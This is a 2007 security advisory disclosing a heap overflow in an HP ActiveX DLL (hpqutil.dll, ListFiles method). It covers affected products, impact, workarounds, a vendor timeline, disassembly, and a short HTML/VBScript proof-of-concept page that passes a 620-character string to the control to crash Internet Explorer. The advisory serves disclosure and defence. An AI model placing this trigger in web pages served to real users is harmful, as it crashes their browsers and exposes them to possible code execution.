ActiveX hpqutil!ListFiles hpqutil.dll - Remoteheap overflow

Advisory Content :

:. GOODFELLAS Security Research TEAM .:
:. http://goodfellas.shellcode.com.ar .:

ActiveX hpqutil!ListFiles hpqutil.dll - Remote heap overflow.
=============================================================
Internal ID: VULWAR200706041

introduction
------------
GOODFELLAS security research team has found a bug in a dll included in
at least the following HP products:

* HP All-in-One Series Web Release
* HP Photo & Imaging Gallery version 1.1

The affected dll is called hpqutil.dll at least in it's version
2.0.0.138 in English, and specifically the problem is a heap overflow

tested in
---------
Windows XP spanish with SP2

summary
-------

Remotable exploitation of this heap overflow could allow a user to
execute arbitriary code or crash internet explorer. The heap overflow is
related to a call to lstrcpyA() inside a function that is not checking
the buffer's bounds.
This call is made from the FindFile() function the dll overloaded from
MFC42.
The dll allocates 320 bytes for the buffer where some arbitrarily long
user input is to be stored.
This bug is related with "FileFind class from MFC Library cause heap
overflow"
You could view more details in
http://goodfellas.shellcode.com.ar/own/VULWKU200706142

impact
------
This exploitable bug crashes internet explorer and if used along other
techniques could allow for remote code execution. Explotation requires a
targetted user to load a web page containing the crafted activeX control
with internet explorer, it is also required to have activeX enabled.

workaround
----------
- Unregistering hpqutil.dll using regsvr32
- Activate the Kill bit zero in clsid
F3F381A3-4795-41FF-8190-7AA2A8102F85

timeline
--------
june 14, 2007 -- bug discovery
june 20, 2007 -- vendor notification
July 30, 2007 -- ping ... (no response)
September 14, 2007 -- Bug published

credits
-------
* Brian Mariani <bmariani (at) shellcode.com (dot) ar [email concealed]>
* Jonathan Sarba <sarbaj (at) shellcode.com (dot) ar [email concealed]>
* GoodFellas Security Research Team <goodfellas.shellcode.com.ar>

Proof of concept
----------------
[...]
<object classid='clsid:F3F381A3-4795-41FF-8190-7AA2A8102F85' id='pAF'>
</object>
<input type="button" value="heap" language="VBScript" OnClick="OuCh()">
<script language="VBScript">
sub OuCh()
Var_0 = String(620, "A")
pAF.ListFiles Var_0
End Sub
</script>
[...]

technical detail
----------------
MFC42!CFileFind::FindFile
[...]
73d6cd3f 8bff mov edi,edi
73d6cd41 55 push ebp
73d6cd42 56 push esi
73d6cd43 57 push edi
=> ecx=04ecedd4
=> esi=0795cf24

73d6cd44 8bf1 mov esi,ecx
73d6cd46 e89effffff call MFC42!CFileFind::Close (73d6cce9)
73d6cd4b 6840010000 push 140h <<<==== 320 bytes to
allocate!!!!!
73d6cd50 e8ce73feff call MFC42!operator new (73d54123)
=> Allocating memory for the buffer (malloc)
=> eax= 4170ec0

73d6cd55 8b6c2414 mov ebp,dword ptr [esp+14h]
=> esp+14 has a pointer to the argument buffer (AAAAA...)

73d6cd59 83661000 and dword ptr [esi+10h],0
73d6cd5d 85ed test ebp,ebp
=> ebp=068b5064 (this is the address of the buffer)

73d6cd5f 59 pop ecx <<<===== this is 140h
73d6cd60 894608 mov dword ptr [esi+8],eax
=> eax=04170ec0

73d6cd63 7505 jne MFC42!CFileFind::FindFile+0x2b
(73d6cd6a) (LSTRCPY)!
=> strcpy(eax, ebp) where EBP="AAAAAA....*.jpg"
=> EAX has 140h till it reaches the end of its scope

73d6cd65 bda4d0df73 mov ebp,offset MFC42!`string' (73dfd0a4)
73d6cd6a 55 push ebp
73d6cd6b 83c02c add eax,2Ch
[...]

--------------------------------
MFC42!operator new:
73d54123 8bff mov edi,edi
73d54125 53 push ebx
73d54126 55 push ebp
73d54127 8b6c240c mov ebp,dword ptr [esp+0Ch]
73d5412b 56 push esi
73d5412c 57 push edi
73d5412d 8b3de466df73 mov edi,dword ptr [MFC42!_imp__malloc
(73df66e4)]
73d54133 83cbff or ebx,0FFFFFFFFh
[...]

MFC42!CFileFind::FindFile+0x2b:
73d6cd6a 55 push ebp
73d6cd6b 83c02c add eax,2Ch
73d6cd6e 50 push eax
73d6cd6f ff15d061df73 call dword ptr [MFC42!_imp__lstrcpyA
(73df61d0)]
=> kernel32!lstrcpyA: access violation
=> vulnerable heap structure
73d6cd75 ff7608 push dword ptr [esi+8]
73d6cd78 55 push ebp
73d6cd79 ff15d861df73 call dword ptr [MFC42!_imp__FindFirstFileA
(73df61d8)]
73d6cd7f 83f8ff cmp eax,0FFFFFFFFh
[...]

--
GOODFELLAS (Shellcode Security Research)
http://goodfellas.shellcode.com.ar
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ActiveX hpqutil!ListFiles hpqutil.dll - Remoteheap overflow